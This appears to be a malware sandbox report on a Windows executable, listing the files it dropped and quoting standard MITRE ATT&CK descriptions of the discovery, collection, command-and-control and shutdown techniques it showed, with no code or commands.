Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\OHVS0RIMGLNY\BSRIEK

C:\ProgramData\OHVS0RIMGLNY\E3E3OP

C:\ProgramData\OHVS0RIMGLNY\EKXT2N

C:\ProgramData\OHVS0RIMGLNY\GDT0R9

C:\ProgramData\OHVS0RIMGLNY\JWTR1V

C:\ProgramData\OHVS0RIMGLNY\KNGDBS

C:\ProgramData\OHVS0RIMGLNY\Q9RQQIMOZ

C:\ProgramData\OHVS0RIMGLNY\UKX479

C:\ProgramData\OHVS0RIMGLNY\VSJ5XTJ5X

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

C:\Users\user\AppData\Local\Temp\245347\Dry.com

Windows Analysis Report
9EI7wrGs4K.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre